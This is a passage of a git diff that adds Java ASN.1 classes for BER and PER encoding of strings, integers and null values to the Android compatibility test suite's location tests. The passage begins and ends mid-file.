+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public byte[] getValue() {
+ return value;
+ }
+
+ public void setValue(byte[] value) {
+ this.value = value;
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Preconditions.checkNotNull(value, "No value set.");
+ Preconditions.checkState(value.length >= minimumSize, "Value too short.");
+ Preconditions.checkState(maximumSize == null || value.length <= maximumSize,
+ "Value too long.");
+ int characterBitCount = 8;
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ BitStream result = new BitStream();
+ for (byte b : value) {
+ result.appendByte(b);
+ }
+ if (aligned && maximumSize * characterBitCount > 16) {
+ result.setBeginByteAligned();
+ }
+
+ if (minimumSize == maximumSize
+ && maximumSize < SIXTYFOUR_K) {
+ return ImmutableList.of(result);
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // A little oddity when maximumSize != minimumSize.
+ if (aligned && maximumSize * characterBitCount == 16) {
+ result.setBeginByteAligned();
+ }
+
+ // Must be preceded by a count. The count and the bit field may be
+ // independently aligned.
+ BitStream count = null;
+ if (aligned) {
+ count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ value.length, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.encodeConstrainedWholeNumber(
+ value.length, minimumSize, maximumSize);
+ }
+ return ImmutableList.of(count, result);
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ int characterBitCount = 8;
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ if (minimumSize == maximumSize
+ && maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize * characterBitCount > 16) {
+ reader.spoolToByteBoundary();
+ }
+ value = new byte[maximumSize];
+ for (int i = 0; i < maximumSize; i++) {
+ value[i] = reader.readByte();
+ }
+ return;
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // Value is preceded by a count.
+ int count = 0;
+ if (aligned) {
+ count = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ }
+
+ if (aligned && maximumSize * characterBitCount >= 16) {
+ reader.spoolToByteBoundary();
+ }
+
+ value = new byte[count];
+ for (int i = 0; i < count; i++) {
+ value[i] = reader.readByte();
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1IA5String.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1IA5String.java
new file mode 100644
index 0000000..0c2da9c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1IA5String.java
@@ -0,0 +1,340 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.nio.CharBuffer;
+import java.nio.charset.CharacterCodingException;
+import java.nio.charset.Charset;
+import java.nio.charset.CharsetDecoder;
+import java.nio.charset.CharsetEncoder;
+import java.nio.charset.CoderResult;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.Collection;
+
+/**
+ * Represents strings in 7-bit US ASCII (actually pages 1 and 6 of ISO
+ * International Register of Coded Character Sets plus SPACE and DELETE).
+ *
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1IA5String extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.IA5_STRING);
+
+ private String alphabet = null;
+ private byte largestCanonicalValue = 127;
+ private String value;
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // Null == unconstrained.
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.IA5_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ Preconditions.checkNotNull(value, "No value set.");
+ return value.length();
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ Preconditions.checkNotNull(value, "No value set.");
+ buf.put(value.getBytes(StandardCharsets.US_ASCII));
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ setValue(new String(getRemaining(buf), StandardCharsets.US_ASCII));
+ }
+
+ protected void setAlphabet(String alphabet) {
+ Preconditions.checkNotNull(alphabet);
+ Preconditions.checkArgument(alphabet.length() > 0, "Empty alphabet");
+ try {
+ ByteBuffer buffer = StandardCharsets.US_ASCII.newEncoder().encode(CharBuffer.wrap(alphabet));
+ byte[] canonicalValues = buffer.array();
+ Arrays.sort(canonicalValues);
+ largestCanonicalValue = canonicalValues[canonicalValues.length - 1];
+ this.alphabet = new String(canonicalValues, StandardCharsets.US_ASCII);
+ } catch (CharacterCodingException e) {
+ throw new IllegalArgumentException("Invalid alphabet " + alphabet, e);
+ }
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public String getValue() {
+ return value;
+ }
+
+ public void setValue(String value) {
+ Preconditions.checkArgument(value.length() >= minimumSize,
+ "Value too short.");
+ Preconditions.checkArgument(maximumSize == null
+ || value.length() <= maximumSize,
+ "Value too long.");
+ try {
+ Charset charset = (alphabet != null) ? new RestrictedCharset() : StandardCharsets.US_ASCII;
+ charset.newEncoder().encode(CharBuffer.wrap(value));
+ this.value = value;
+ } catch (CharacterCodingException e) {
+ throw new IllegalArgumentException("Illegal value '" + value + "'", e);
+ }
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Preconditions.checkNotNull(value, "No value set.");
+
+ int characterBitCount = calculateBitsPerCharacter(aligned);
+
+ // Use real character values if they fit.
+ boolean recodeValues = largestCanonicalValue >= (1 << characterBitCount);
+
+ // In aligned case, pad unless result size is known to be 16 bits or less [X.691-0207, 27.5.6-7]
+ BitStream result = encodeValueCharacters(characterBitCount, recodeValues);
+ if (aligned && (maximumSize == null || maximumSize * characterBitCount > 16)) {
+ result.setBeginByteAligned();
+ }
+
+ if (maximumSize != null) {
+ if (minimumSize == maximumSize && maximumSize < SIXTYFOUR_K) {
+ return ImmutableList.of(result);
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // A little oddity when maximumSize != minimumSize [X.691-0207, 27.5.7].
+ if (aligned && maximumSize * characterBitCount == 16) {
+ result.setBeginByteAligned();
+ }
+ }
+
+ // Must be preceded by a count. The count and the bit field may be independently aligned.
+ BitStream count = null;
+ if (maximumSize == null) {
+ count = aligned
+ ? PerAlignedUtils.encodeSemiConstrainedLength(value.length())
+ : PerUnalignedUtils.encodeSemiConstrainedLength(value.length());
+ } else {
+ if (aligned) {
+ count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ value.length(), minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.encodeConstrainedWholeNumber(
+ value.length(), minimumSize, maximumSize);
+ }
+ }
+ return ImmutableList.of(count, result);
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private BitStream encodeValueCharacters(int characterBitCount,
+ boolean recodeValues) {
+ BitStream result = new BitStream();
+ try {
+ Charset charset = recodeValues ? new RestrictedCharset() : StandardCharsets.US_ASCII;
+ ByteBuffer buffer = charset.newEncoder().encode(CharBuffer.wrap(value));
+ while (buffer.hasRemaining()) {
+ byte b = buffer.get();
+ if (characterBitCount == 8) {
+ result.appendByte(b);
+ } else {
+ result.appendLowBits(characterBitCount, b);
+ }
+ }
+ } catch (CharacterCodingException e) {
+ throw new IllegalStateException("Invalid value", e);
+ }
+ return result;
+ }
+
+ private int calculateBitsPerCharacter(boolean aligned) {
+ // must be power of 2 in aligned version.
+ int characterBitCount = aligned ? 8 : 7;
+ if (alphabet != null) {
+ for (int i = 1; i < characterBitCount; i += aligned ? i : 1) {
+ if (1 << i >= alphabet.length()) {
+ characterBitCount = i;
+ break;
+ }
+ }
+ }
+ return characterBitCount;
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+
+ int characterBitCount = calculateBitsPerCharacter(aligned);
+
+ // Use real character values if they fit.
+ boolean recodeValues = largestCanonicalValue >= (1 << characterBitCount);
+
+ if (maximumSize != null && minimumSize == maximumSize && maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize * characterBitCount > 16) {
+ reader.spoolToByteBoundary();
+ }
+ decodeValueCharacters(reader, maximumSize,
+ characterBitCount, recodeValues);
+ return;
+ }
+
+ if (maximumSize != null && maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ int count = 0;
+ if (maximumSize == null) {
+ count = aligned
+ ? PerAlignedUtils.decodeSemiConstrainedLength(reader)
+ : PerUnalignedUtils.decodeSemiConstrainedLength(reader);
+ } else {
+ if (aligned) {
+ count = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ }
+ }
+
+ if (aligned && (maximumSize == null || maximumSize * characterBitCount >= 16)) {
+ reader.spoolToByteBoundary();
+ }
+ decodeValueCharacters(reader, count,
+ characterBitCount, recodeValues);
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+
+ private void decodeValueCharacters(BitStreamReader reader, int count,
+ int characterBitCount,
+ boolean recodeValues) {
+ ByteBuffer exploded = ByteBuffer.allocate(count);
+ for (int i = 0; i < count; i++) {
+ if (characterBitCount == 8) {
+ exploded.put(reader.readByte());
+ } else {
+ exploded.put((byte) reader.readLowBits(characterBitCount));
+ }
+ }
+ exploded.flip();
+ Charset charset = recodeValues ? new RestrictedCharset() : StandardCharsets.US_ASCII;
+ try {
+ CharBuffer valueCharacters = charset.newDecoder().decode(exploded);
+ value = valueCharacters.toString();
+ } catch (CharacterCodingException e) {
+ throw new IllegalStateException("Invalid character", e);
+ }
+ }
+
+ private class RestrictedCharset extends Charset {
+ RestrictedCharset() {
+ super("Restricted_IA5", new String[0]);
+ }
+
+ @Override
+ public boolean contains(Charset cs) {
+ return false;
+ }
+
+ @Override
+ public CharsetDecoder newDecoder() {
+ return new RestrictedCharsetDecoder(this);
+ }
+
+ @Override
+ public CharsetEncoder newEncoder() {
+ return new RestrictedCharsetEncoder(this);
+ }
+ }
+
+ private class RestrictedCharsetEncoder extends CharsetEncoder {
+ RestrictedCharsetEncoder(RestrictedCharset restrictedCharset) {
+ super(restrictedCharset, 1, 1, new byte[] {0});
+ }
+
+ @Override
+ protected CoderResult encodeLoop(CharBuffer in, ByteBuffer out) {
+ while (in.hasRemaining() && out.hasRemaining()) {
+ char c = in.get();
+ int encodedValue = alphabet.indexOf(c);
+ if (encodedValue < 0) {
+ return CoderResult.unmappableForLength(1);
+ }
+ out.put((byte) encodedValue);
+ }
+ if (in.hasRemaining()) {
+ return CoderResult.OVERFLOW;
+ }
+ return CoderResult.UNDERFLOW;
+ }
+ }
+
+ private class RestrictedCharsetDecoder extends CharsetDecoder {
+ RestrictedCharsetDecoder(RestrictedCharset restrictedCharset) {
+ super(restrictedCharset, 1, 1);
+ }
+
+ @Override
+ protected CoderResult decodeLoop(ByteBuffer in, CharBuffer out) {
+ while (in.hasRemaining() && out.hasRemaining()) {
+ byte b = in.get();
+ int position = b & 0xFF;
+ if (position >= alphabet.length()) {
+ return CoderResult.unmappableForLength(1);
+ }
+ char decodedValue = alphabet.charAt(position);
+ out.put(decodedValue);
+ }
+ if (in.hasRemaining()) {
+ return CoderResult.OVERFLOW;
+ }
+ return CoderResult.UNDERFLOW;
+ }
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Integer.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Integer.java
new file mode 100644
index 0000000..9b29c98
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Integer.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.math.BigInteger;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+
+import javax.annotation.Nullable;
+
+/**
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1Integer extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.INTEGER);
+
+ private BigInteger minimumValue = null; // null == unbounded.
+ private BigInteger maximumValue = null; // null == unbounded.
+ private BigInteger value;
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.INTEGER;
+ }
+
+ /**
+ * Sets the allowed range of values. A null for either parameter means that
+ * the value is unbounded in that direction.
+ */
+ protected void setValueRange(@Nullable String minimum,
+ @Nullable String maximum) {
+ minimumValue = minimum == null ? null : new BigInteger(minimum);
+ maximumValue = maximum == null ? null : new BigInteger(maximum);
+ }
+
+ private Iterable<BitStream> encodeNormalizedIntegerWithRangeAligned(
+ BigInteger normalizedValue, BigInteger range) {
+ if (range.compareTo(BigInteger.valueOf(SIXTYFOUR_K)) < 0) {
+ BitStream result = PerAlignedUtils.encodeNormalizedSmallConstrainedWholeNumber(
+ normalizedValue.intValue(), range.intValue());
+ return ImmutableList.of(result);
+ } else {
+ return PerAlignedUtils.encodeConstrainedLengthOfBytes(
+ PerAlignedUtils.encodeBigNonNegativeWholeNumber(normalizedValue),
+ 1,
+ PerAlignedUtils.encodeBigNonNegativeWholeNumber(range).length);
+ }
+ }
+
+ private Iterable<BitStream> encodeNormalizedIntegerWithRangeUnaligned(
+ BigInteger normalizedValue, BigInteger range) {
+ BitStream result = PerUnalignedUtils.encodeNormalizedConstrainedWholeNumber(
+ normalizedValue.longValue(), range.longValue());
+ return ImmutableList.of(result);
+ }
+
+ private void validateValue() {
+ Preconditions.checkNotNull(value, "No value set.");
+ Preconditions.checkState(
+ minimumValue == null || value.compareTo(minimumValue) >= 0,
+ "Too small value %s", value);
+ Preconditions.checkState(
+ maximumValue == null || value.compareTo(maximumValue) <= 0,
+ "Too large value %s", value);
+ }
+
+ @Override int getBerValueLength() {
+ if (value.equals(BigInteger.ZERO)) {
+ // BER requires 0 be encoded with one or more zero octets
+ return 1;
+ } else {
+ return (value.bitLength() >> 3) + 1;
+ }
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ if (value.equals(BigInteger.ZERO)) {
+ buf.put((byte) 0);
+ } else {
+ buf.put(value.toByteArray());
+ }
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ value = new BigInteger(getRemaining(buf));
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ validateValue();
+ if (maximumValue != null && minimumValue != null) {
+ // Encodes a constrained whole numbers according to X.691-0207, 10.5.
+ BigInteger normalizedValue = value.subtract(minimumValue);
+ BigInteger range = maximumValue.subtract(minimumValue);
+ return aligned
+ ? encodeNormalizedIntegerWithRangeAligned(normalizedValue, range)
+ : encodeNormalizedIntegerWithRangeUnaligned(normalizedValue, range);
+ } else if (minimumValue != null) {
+ // Encodes a semi-constrained whole numbers according to X.691-0207, 10.7.
+ return aligned
+ ? PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(
+ PerAlignedUtils.encodeBigNonNegativeWholeNumber(value.subtract(minimumValue)))
+ : PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(
+ PerUnalignedUtils.encodeBigNonNegativeWholeNumber(value.subtract(minimumValue)));
+ } else {
+ // Encodes an unconstrained whole number according to X.691-0207, 10.8.
+ return aligned
+ ? PerAlignedUtils.encodeUnconstrainedLengthOfBytes(value.toByteArray())
+ : PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(value.toByteArray());
+ }
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ public void setInteger(BigInteger value) {
+ this.value = value;
+ }
+
+ public void setInteger(BigInteger value, boolean validateValue) {
+ this.value = value;
+ if (validateValue) {
+ validateValue();
+ }
+ }
+
+ public BigInteger getInteger() {
+ return value;
+ }
+
+ private BigInteger decodeNormalizedIntegerWithRangeAligned(
+ BitStreamReader reader, BigInteger range) {
+ if (range.compareTo(BigInteger.valueOf(SIXTYFOUR_K)) < 0) {
+ int normalizedIntValue = PerAlignedUtils.decodeNormalizedSmallConstrainedWholeNumber(
+ reader, range.intValue());
+ return BigInteger.valueOf(normalizedIntValue);
+ } else {
+ return PerAlignedUtils.decodeBigNonNegativeWholeNumber(
+ PerAlignedUtils.decodeConstrainedLengthOfBytes(
+ reader, 1,
+ PerAlignedUtils.encodeBigNonNegativeWholeNumber(range).length));
+ }
+ }
+
+ private BigInteger decodeNormalizedIntegerWithRangeUnaligned(
+ BitStreamReader reader, BigInteger range) {
+ long normalizedIntValue =
+ PerUnalignedUtils.decodeNormalizedConstrainedWholeNumber(
+ reader, range.longValue());
+ return BigInteger.valueOf(normalizedIntValue);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ if (maximumValue != null && minimumValue != null) {
+ // Decodes a constrained whole numbers according to X.691-0207, 10.5.
+ BigInteger range = maximumValue.subtract(minimumValue);
+ BigInteger normalizedValue = aligned
+ ? decodeNormalizedIntegerWithRangeAligned(reader, range)
+ : decodeNormalizedIntegerWithRangeUnaligned(reader, range);
+ value = minimumValue.add(normalizedValue);
+ } else if (minimumValue != null) {
+ // Decodes a semi-constrained whole numbers according to X.691-0207, 10.7.
+ byte[] intBytes = aligned
+ ? PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader)
+ : PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ value = new BigInteger(convertPositiveToSigned(intBytes)).add(minimumValue);
+ } else {
+ // Decodes an unconstrained whole number according to X.691-0207, 10.8.
+ value = new BigInteger(aligned
+ ? PerAlignedUtils.decodeUnconstrainedLengthOfBytes(reader)
+ : PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader));
+ }
+ }
+
+ private byte[] convertPositiveToSigned(byte[] rawData) {
+ if ((rawData[0] & 0x80) != 0) {
+ byte[] data = new byte[rawData.length + 1];
+ System.arraycopy(rawData, 0, data, 1, rawData.length);
+ return data;
+ } else {
+ return rawData;
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Null.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Null.java
new file mode 100644
index 0000000..542db86
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Null.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+
+/**
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1Null extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.NULL);
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.NULL;
+ }
+
+ @Override int getBerValueLength() {
+ return 0;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ if (buf.remaining() != 0) {
+ throw new IllegalArgumentException("Invalid remaining bytes: " + buf.remaining());
+ }
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return ImmutableList.of();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return ImmutableList.of();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1NumericString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1NumericString.java
new file mode 100644
index 0000000..c465b21
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1NumericString.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.collect.ImmutableList;
+
+import java.util.Collection;
+
+/**
+ * A numeric string is characters from the set "0123456789 " (digits+space).
+ * ITU-T Rec. X.680-0207, 39, defines it as a subset of ISO 646 US (US-ASCII).
+ *
+ * <p>Implements ASN.1 functionality.
+ *
+ */
+public class Asn1NumericString extends Asn1IA5String {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.NUMERIC_STRING);
+
+ // Canonical order of the numeric alphabet, ITU-T Rec. X.680-0207, 39.6
+ static final String NUMERIC_ALPHABET = " 0123456789";
+
+ public Asn1NumericString() {
+ super();
+ setAlphabet(NUMERIC_ALPHABET);
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.NUMERIC_STRING;
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Object.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Object.java
new file mode 100644
index 0000000..3079f8e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Object.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import java.nio.BufferOverflowException;
+import java.nio.ByteBuffer;
+import java.nio.ReadOnlyBufferException;
+import java.util.Collection;
+
+import javax.annotation.Nullable;
+
+/**
+ * Specifies ASN.1 functionality needed for all ASN.1 objects.
+ *
+ */
+public abstract class Asn1Object {
+ /**
+ * Returns the tags that can decode to this type. Subclasses are expected to "fauxverride".
+ */
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException("No first tags defined");
+ }
+
+ /**
+ * Returns the universal tag defined for the base type.
+ */
+ abstract Asn1Tag getDefaultTag();
+
+ /**
+ * Returns the declared tag for this type. Tagged subclasses must override, the
+ * default implementation returns null.
+ */
+ @Nullable protected Asn1Tag getTag() {
+ return null;
+ }
+
+ /**
+ * Returns true if implicit tagging is to be applied to the type. Tagged subclasses must
+ * override, the default implementation throws.
+ */
+ protected boolean isTagImplicit() {
+ throw new IllegalStateException("Not a tagged subclass");
+ }
+
+ /**
+ * Returns true if this object is "constructed", that is, it's composed of further TLVs
+ * (as opposed to being primitive).
+ */
+ boolean isConstructed() {
+ return false;
+ }
+
+ /**
+ * Returns the number of octets in the BER encoding of this object. Called by
+ * {@link #encodeBer()} to allocate a buffer of the correct size before starting
+ * the encoding.
+ */
+ int getBerLength() {
+ int valueLen = getBerValueLength();
+ Asn1Tag tag = getTag();
+ if (tag == null) {
+ tag = getDefaultTag();
+ } else if (!isTagImplicit()) {
+ valueLen = getDefaultTag().getTaggedLength(valueLen);
+ }
+ return tag.getTaggedLength(valueLen);
+ }
+
+ /**
+ * Returns the number of octets required to encoded the value of this {@link Asn1Object}.
+ */
+ abstract int getBerValueLength();
+
+ /**
+ * Returns the BER encoding of this object.
+ */
+ public byte[] encodeBer() {
+ ByteBuffer buf = ByteBuffer.allocate(getBerLength());
+ encodeBer(buf);
+ return buf.array();
+ }
+
+ void encodeBer(ByteBuffer buf) {
+ int valueLen = getBerValueLength();
+ Asn1Tag tag = getTag();
+ if (tag == null) {
+ tag = getDefaultTag();
+ } else {
+ if (!isTagImplicit()) {
+ int innerValueLen = getDefaultTag().getTaggedLength(valueLen);
+ tag.writeTagAndLength(buf, true, innerValueLen);
+ tag = getDefaultTag();
+ }
+ }
+ tag.writeTagAndLength(buf, isConstructed(), valueLen);
+ encodeBerValue(buf);
+ }
+
+ /**
+ * Writes the BER encoded value of this {@link Asn1Object} into the specified buffer.
+ *
+ * @param buf the byte buffer to write to
+ * @throws BufferOverflowException If there is insufficient space in the buffer
+ * @throws ReadOnlyBufferException If the buffer is read-only
+ */
+ abstract void encodeBerValue(ByteBuffer buf);
+
+ /**
+ * BER decodes the provided buffer. Should only be called on newly created instances as subclasses
+ * may not write optional fields not explicitly present in the input.
+ *
+ * @param data the BER encoded input
+ * @throws IllegalArgumentException in case of parsing failure
+ */
+ public void decodeBer(byte[] data) {
+ decodeBer(ByteBuffer.wrap(data));
+ }
+
+ void decodeBer(ByteBuffer buf) {
+ Asn1Tag tag = Asn1Tag.readTag(buf);
+ int valueLen = Asn1Tag.readLength(buf);
+
+ if (valueLen != buf.remaining()) {
+ throw new IllegalArgumentException("Length mismatch: expected=" + buf.remaining()
+ + ", actual=" + valueLen);
+ }
+
+ if (getTag() != null) {
+ checkTag(tag, getTag());
+ if (!isTagImplicit()) {
+ // read inner tag and length
+ Asn1Tag innerTag = Asn1Tag.readTag(buf);
+ int innerValueLen = Asn1Tag.readLength(buf);
+ if (innerValueLen != buf.remaining()) {
+ throw new IllegalArgumentException("Length mismatch: expected=" + buf.remaining()
+ + ", actual=" + innerValueLen);
+ }
+ checkTag(innerTag, getDefaultTag());
+ }
+ }
+
+ decodeBerValue(buf);
+
+ if (buf.hasRemaining()) {
+ throw new IllegalArgumentException("BER encoded input not fully read");
+ }
+ }
+
+ void checkTag(Asn1Tag actual, Asn1Tag expected) {
+ if (!expected.equals(actual)) {
+ throw new IllegalArgumentException("Invalid tag: expected=" + expected
+ + ", actual=" + actual);
+ }
+ }
+
+ /**
+ * Decodes the BER encoded value of this {@link Asn1Object}. On return from this method the
+ * provided buffer should be empty.
+ */
+ abstract void decodeBerValue(ByteBuffer buf);
+
+ /**
+ * Returns remaining bytes in the {@link ByteBuffer} in a newly allocated byte array of exactly
+ * the right size. The ByteBuffer will be empty upon return.
+ */
+ static byte[] getRemaining(ByteBuffer buf) {
+ byte[] bytes = new byte[buf.remaining()];
+ buf.get(bytes);
+ return bytes;
+ }
+
+ public abstract Iterable<BitStream> encodePerAligned();
+
